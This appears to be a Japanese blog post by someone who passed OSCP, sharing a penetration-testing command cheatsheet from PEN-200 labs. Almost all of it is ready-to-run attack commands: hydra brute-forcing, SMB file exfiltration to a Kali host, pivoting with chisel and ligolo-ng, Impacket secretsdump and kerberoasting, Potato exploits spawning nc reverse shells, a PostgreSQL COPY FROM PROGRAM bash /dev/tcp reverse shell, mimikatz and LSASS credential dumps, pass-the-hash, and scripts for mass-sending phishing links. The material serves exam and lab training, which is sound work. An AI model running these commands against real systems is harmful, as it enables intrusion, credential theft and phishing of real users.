🐉

【OSCP受験】Useful Command Cheatsheet

2024/09/18に公開
1

無事OSCPに合格しました。
PEN200のmodule labs, challenge labsを解く時によく使っていたコマンドのチートシートをシェアします〜

Bruteforce

hydra
hydra -l username -P passwords <IP> -s <PORT> ftp 
hydra -l Administrator -P passwords <IP> smb
hydra -l Administrator -P passwords -M ip_list smb # 複数IP
hydra -V -f -L users -P passwords rdp://<IP>
hydra -L users -P passwords <IP> http-get /certsrv/ # web basic auth
crackmapexec
# 複数target、pass-the-hash、local administratorの場合
crackmapexec smb <ip1> <ip2> -u administrator -H <nthash> --local-auth

ファイル転送

target machine→kaliのファイル転送方法:

smbserver (windows machineからkaliへ)
# kali上
impacket-smbserver share . -smb2support
impacket-smbserver share . -username myuser -password mypassword -smb2support

# windows上
net use Z: \\<kali_ip>\share
net use Z: \\<kali_ip>\share /user:myuser mypassword
copy .\database.kdbx Z:\ # one file
robocopy C:\some_directory Z:\ /E # entire directory
bash(sshアクセスがあるなら)
scp usera@<target_machine>:/home/usera/target_file .
bash64(ファイルが大きすぎない場合、上記の方法が失敗する場合)
# linux to linux
# 転送元で
cat myfile | base64 -w 0 # これをコピー
# 転送先で
echo <paste_base64_encoded_content> > encodedfile
cat encodedfile | base64 -d > outputfile

# linux to windows
# 転送元で
cat myfile | base64 -w 0 # copy this

# 転送先で
echo <paste_base64_encoded_content> > C:\Users\usera\Desktop\encodedfile
$inputPath = "C:\Users\usera\Desktop\encodedfile"
$outputPath = "C:\Users\usera\Desktop\outputfile"
$base64String = Get-Content -Path $inputPath -Raw
$decodedBytes = [System.Convert]::FromBase64String($base64String)
[System.IO.File]::WriteAllBytes($outputPath, $decodedBytes)

ポート転送

Chisel dynamic port forwarding

chiselを使ってproxychains経由でinternal networkにアクセスする
# pivot machine上
./chisel client <kali_ip>:8001 R:1080:socks
# kali上
./chisel server -p 8001 --reverse
# /etc/proxychains.confにこれが必要
socks5 127.0.0.1 1080
# kali上
proxychains nmap <internal_network_machine_ip>

SSH local port forwarding

SSHでtarget machineの特定ポートをkaliからアクセスする
ssh -L 8080:localhost:8080 username@<target_ip>

ligolo-ng

kaliからinternal network内のマシンにアクセス

# セットアップ
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up

# kali上でligolo-proxyを起動
./proxy -selfcert

# pivot machine上でligolo-agentを起動
./agent.exe -connect <kali_ip>:11601 -ignore-cert

# proxyでsessionを選ぶ
ligolo-ng » session
[Agent : pivot\username@pivot] » ifconfig

# kaliでip routeを追加する(ifconfigの出力結果を同じ値)
sudo ip route add 10.10.10.0/24 dev ligolo

# ligolo-proxyでtunneling processを開始
[Agent : pivot\username@pivot] » start

# kaliから内部ネットワーク(10.10.10.0/24)をアクセスできるようになったはず
ping 10.10.10.5
nmap 10.10.10.6 -Pn

kali上のファイルをinternal network上のマシンに移す

例えば、mimikatz.exeをkaliからtarget machine (10.10.10.5)に移す
# ligolo-proxyからlistenerを追加する
listener_add --addr 0.0.0.0:1337 --to 0.0.0.0:8000 --tcp
listener_list
# kaliでhttp serverを起動
python3 -m http.server 8000
# target machineからpivot machineのport 1337をアクセス(10.10.10.4:1337)
wget 10.10.10.4:1337/mimikatz.exe -Outfile mimikatz.exe

internal network内のマシンのファイルをkaliに移す

例えば、SAMとSYSTEMをkaliに移して後でsecretsdumpをしたい場合
# target machine (10.10.10.5)でSMB shareを作る
New-SmbShare -Name "myshare" -Path "C:\Windows\system32" -FullAccess "Everyone"
Get-SmbShare
# kali上
smbclient \\\\10.10.10.5\\myshare -U username%password

よく使うツール

Impacket

# ------------- secretsdump -------------
# DCSync, SAM password dump
impacket-secretsdump example.local/username:password@<ip> # remote
impacket-secretsdump -sam SAM -system SYSTEM LOCAL -outputfile secretdump.txt # local
impacket-secretsdump example.local/username@<ip> -hashes <lmhash>:<nthash> # pass-the-hash

# ------------- GetNPUsers --------------
# ASREP roasting
impacket-GetNPUsers example.local/username:password -dc-ip <dc_ip> -format hashcat -outputfile asrephashes
impacket-GetNPUsers -dc-ip <dc_ip> example.local/username:ntlmhash -request -format hashcat -usersfile users.txt # pass-the-hash
impacket-GetNPUsers -dc-ip <dc_ip> -request -format hashcat -outputfile npusers -usersfile users.txt example.local/ # 特定userlistにrequest

# ------------- GetUserSPNs -------------
# kerberoasting
impacket-GetUserSPNs -dc-ip <dc_ip> example.local/username -request
impacket-GetUserSPNs -dc-ip <dc_ip> example.local/username -request -hashes 00000000000000000000000000000000:<nthash> # pass-the-hash

# ------------- psexec ------------------
impacket-psexec example.local/username:password@ip
impacket-psexec username@ip -hashes <lmhash>:<hthash>

# ------------- smbserver ---------------
# file transfer, capture auth info (NTLMv2 hash)
impacket-smbserver share . -smb2support

# ------------- wmiexec -----------------
impacket-wmiexec example.local/username@ip -hashes <lmhash>:<hthash> # pass-the-hash

Rebeus

rebeus commands
# kerberoasting
Rubeus.exe kerberoast /nowrap
.\Rubeus.exe kerberoast /outfile:hashes
Rubeus.exe asreproast /nowrap # hashcatを使う時は$krb5asrep$23$...のフォーマットに直す

SeImpersonate Exploit Tools (Potatoes)

ポテトファミリー
# PrintSpoofer
.\prints.exe -c "c:\users\public\nc.exe LHOST LPORT -e cmd"

# JuicyPotato
/JuicyPotato.exe -l 1337 -p cmd.exe -a "/c C:\users\public\rev.exe" -t * -c "{C49E32C6-BC8B-11d2-85D4-00105A1F8304}"

# RoguePotato
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:RHOST:9999 # kali上
.\rp.exe -r LHOST -e "c:\users\public\nc.exe LHOST LPORT -e cmd" -l 9999 # target上

# GodPotato
./gp.exe -cmd "c:\users\public\nc.exe -t -e C:\Windows\System32\cmd.exe LHOST LPORT"

# SweetPotato
./sp.exe -p ./nc.exe -a "LHOST LPORT -e powershell"

Password Cracking

john
# フォーマット変換
# アウトプットをhashcatでcrackする場合は先頭ファイル名を消す
zip2john
ssh2john
keypass2john

# wordlistを渡す時は必ずこう書く
john hash --wordlist=/usr/share/wordlists/rockyou.txt
hashcat
hashcat -m 13400 ntlmhash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# ------------------よく使うmode-------------------
# 13400 | keepass
# 1000  | ntlm
# 13100 | kerberos TGS-REP (kerberoastingに使う)
# 18200 | kerberos AS-REP (ASREP roastingに使う)
# 5600  | NetNTLMv2 (LLMNR poisoningに使う)

# hashcatを使ってhash typeを判定する
hashcat ./hashfile
useful options
# wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/fastcrack.txt

Web Fuzzing

commands
# dir fuzzing
ffuf -w <wordlist> -u http://<ip:port>/FUZZ -o <output_filename>
gobuster dir -u http://<ip> -w <wordlist> -o <output_filename>
proxychains ffuf -w <wordlist> -u http://<ip:port>/FUZZ -x socks5://127.0.0.1:1080 # using proxy

# page fuzzing (with extensions)
gobuster dir -w <wordlist> -x .asp,.aspx,.txt -u http://<ip:port>

# subdomain fuzzing
ffuf -w <wordlist> -H "Host: FUZZ.ip" -u http://ip -fs <size>
wordlist
# dir fuzzing
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

# subdomain fuzzing
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

# extensions
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
/usr/share/seclists/Discovery/Web-Content/raft-small-extensions.txt

よく見るProtocols/Services

SMB

check shares
smbclient -N -L //ip

smbmap -H <IP> -P <PORT> # Null session
smbmap -d example.local -u username -p "password" -H <IP> # ドメイン名を入れる
smbmap -u username -p "<lmhash>:<nthash>" -H <IP> -P <PORT> # pass-the-hash

crackmapexec smb <IP> -u '' -p '' --shares # Null session
crackmapexec smb <IP> -u username -p 'password' --shares 
crackmapexec smb <IP> -u username -H nthash --shares # pass-the-hash
connect to share
smbclient //<IP>/<share>
smbclient //<IP>/<share> -U username%password
download entire share
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *

FTP

wgetで全てのファイルをダウンロード
wget -m --no-passive ftp://anonymous:anonymous@ip:port
wget -r --user=username --password=password ftp://<ip:port>

SMTP

# ncかtelnetで接続する
nc -nv <ip> 25
telnet <ip> 25

# VRFY、EXPNコマンドでuser enumerationができる
VRFY root
VRFY fakeaccount # this will get a reject message

# HELPコマンドで使えるコマンド一覧が見れる、nmap outputからも見れるはず
# interesting commands:listuser, setpassword
HELP

# user enumeration tool
smtp-user-enum -U /usr/share/seclists/Usernames/Names/names.txt -t <ip> 25
smtp-user-enum -U custom_user_list.txt -t <ip> -M RCPT

# メールを送る
# 手動
MAIL FROM:<fake_address@email.com>
RCPT TO:<victim_address@example.com>
DATA
http://<kali_ip>/clickme

# swaksを使う
swaks --to victim@example.com --from fake@example.com --header "Subject: Important Email" --body "http://<kali_ip>/clickme" --server <target_machine_ip>
for address in $(cat users); --to $address --from fake@example.com --header "Subject: Important Email" --body "http://<kali_ip>/clickme" --server <target_machine_ip>
複数のアドレスにメールを送るscript
#!/bin/bash
for sender in $(cat email)  #email contains lists of emails
do
        for rcv in $(cat email)
        do
                echo "mail from:$sender"
                echo "rcpt to:$rcv"
                echo "data"
                echo "Subject: important email" 
                echo "http://<KALI_IP>/clickme" 
                echo "."
        done
done

$ ./sendmail.sh | nc 10.10.10.197 25

DNS(TCP 53)

enumeration
# zone transfer: this can discover subdomains
dig axfr example.com @<target_ip>

# retrieve dns records
dig example.com @<target_ip>

SNMP(UDP 161)

# nmap: snmpwalkもやってくれるから遅い
sudo nmap -sU <ip> -p 161 -sVC -Pn

# snmpbulkwalkの方が速い
snmpbulkwalk -v2c -c public <ip> > snmpoutput

# community string bruteforce
python ~/tools/snmpbrute.py -t <ip>

# extended quieres
snmpbulkwalk -v2c -c public <ip> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
snmpbulkwalk -v2c -c public <ip> NET-SNMP-EXTEND-MIB::nsExtendObjects

TFTP(UDP 69)

# nmap file bruteforce
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>

# connect to tftp
tftp <ip>

# interact with tftp
status
get test.txt
put test.txt

psql

connection
psql -U <username> -d <database> -p <port># local connection
psql -h <host> -U <username> -d <database> -p <port> # remote connection
basic commands
\list # list dbs
\c <database> # use db
\d # list tables
\du # get user rols
command execution
# poc
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

# reverse shell
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"';

XMPP

# pidginを使うとサーバーにアクセスできる

# できること:
# ユーザーを作る
# サーバー上のuser一覧を見る(usernameがわかる)
# chat roomにジョインして過去のチャット履歴を見る
# pidgin --debugでログを見る
# buddyリストは~/.purple/blist.xmlから見れる

Windows列挙

services
# enumeration
Get-Service
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# service interaction
sc.exe create <service_name> binpath= "c:\xxxxxx" start= auto
sc.exe start <service_name>
sc.exe stop <service_name>
cron jobs
# enumeration
schtasks /query /fo LIST /v | select-string "Task To Run"

Active Diectory Lateral Movement

Notes

# check whoami groups and privs before doing anything else
# if have admin/system access, run mimikatz
# check ALL users' PS history
# check non-default directory in C:/
# don't forget kerberoasting

mimikatz

other tools for credential dump
# dump LSASS (admin/system privilege required)
lsassy -u administrator -H :<admin_nthash> <ip>

# dump SAM with mimikatz
lsadump::sam /system:c:\Windows\System32\SYSTEM /sam:c:\Windows\System32\SAM

# dump AD domain NTDS.dit (domain admin account required)
crackmapexec smb <domain_controller_ip> -d example.local -u administrator -H <domain_admin_hash> --ntds

# dump logon passwords
sekurlsa::logonpasswords

# onelinerで実行した方がいい
./mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

pass-the-hash

pass-the-hash commands
evil-winrm -u <username> -H <nthash> -i <ip>
xfreerdp /u:<username> /pth:<nthash> /v:<ip> /cert-ignore
smbclient \\\\<target_ip>\\<share_name> -U username --pw-nt-hash xxxxxxxx
crackmapexec smb <target_ip> -U username-H xxxxxxxxx
impacket-psexec username@<target_ip> -hashes :xxxxxxxxxx

bloodhound execution

bloodhoundの実行
# windows上、SharpHoundを使う
./SharpHound.exe -c all -d example.local --domaincontroller <dc_ip>

# kali上、bloodhound-pythonを使う
bloodhound-python -c all -d example.local -u username -p password -ns <target_ip>

その他よく使うコマンド

# wget output destination指定
wget http://<ip:port>/test.txt -O /tmp/test.txt

# 複数ファイルから特定文字列grep
grep -i "string_for_search" ./*.txt

# Windowsで特定ファイルを探す(powershell historyを探す時とか)
Get-ChildItem -Force -Recurse *.txt*

# find local open ports
netstat -ano
Get-NetTcpConnection
Get-NetTCPConnection | Where-Object { $_.State -eq "LISTEN" } | select @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}, localaddress, localport # also check process

# unzup on windows
tar -xf xxx.zip

# put secretsdump result into hashcat NThash format
cut -d ":" -f 1,4 secrets

# ffufの結果ファイルをparse
cat fuffresult | jq ".results[] .url"
cat fuffresult | jq -r '.results[] | "\(.status) \(.url)"' | awk '{print $1 "\t" $2}'

# wpscan
wpscan --url http://192.168.170.244 --api-token xxxx --enumerate p --plugins-detection aggressive

Discussion

brianslhobrianslho
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣶⠿⠛⠛⠛⠉⠉⠉⠉⠀⠀⠉⠉⠉⠛⠛⠿⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠻⣦⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠷⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣻⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣠⣴⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣻⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣀⣀⣀⠀⠀⠀⠀⠀⠘⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢻⣿⣶⢶⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⠀⠀⢼⡿⠟⠛⠛⠿⠀⠀⠀⠀⠀⠘⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠉⠻⢷⣿⠇⠀⠀⠀⠀⢀⣴⡿⠿⠿⠿⠇⠀⠀⠀⢾⣿⣿⣿⣟⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⠀⠀⠀⠀⣀⣀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⣾⡟⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⣿⠛⠁⠀⠀⠀⠀⠀⠀⠸⡇⠀⠀⠀⠀⠶⠚⠛⠛⠿⢿⣿⣿⣷⣾⠟⢻⣷⣀⠀
⠀⠀⠀⠀⠀⠀⣿⠃⠀⣀⣀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⠀⠀⠀⠀⠀⣿⣄⡀⠀⠀⠀⠀⠀⣀⣼⠇⠀⠀⠀⠀⢤⣤⣄⣀⠀⢸⣿⡿⠀⠀⠀⠈⠛⣿⡇
⠀⠀⠀⠀⠀⣸⣿⠟⠛⠉⠉⠁⠀⠀⠀⠀⠘⢿⣦⣄⣀⣀⣀⣠⣴⠞⠉⠙⠛⢿⣶⠶⠶⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠉⠙⢷⣾⠟⠁⠀⠀⠀⠀⠀⣿⡅
⠀⠀⠀⣴⠟⢻⡇⠀⠀⣠⡴⠖⠀⠀⠀⠀⠀⠀⠉⠉⠛⠛⠛⠻⣧⡀⠀⠀⢀⣴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢀⣿⠏
⠀⠀⠈⠁⠀⢸⣇⣴⠞⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠷⠾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠟⠁⠀⠀⠀⠀⠀⠀⠀⣾⠃⠀
⠀⠀⠀⠀⠀⢠⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡾⠃⠀⠀⠀⠀⠀⠀⠀⠀⣼⡟⠀⠀
⠀⠀⠀⠀⢠⡿⠉⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠜⠁⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠁⠀⠀
⠀⠀⠀⠀⠘⠀⠀⢸⣿⠻⢷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠃⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣿⠃⠀⠀⠈⠓⠒⢦⠰⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⠃⠀⠀⠀⠀
⠀⠀⠀⠀⠀⢠⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢀⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⢀⣼⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣠⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠈⢿⣇⡀⠀⠀⠀⢀⣠⣴⣶⡿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠻⢷⣶⣶⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠿⠀⠀⠀⠀⠀⠀⠀⠀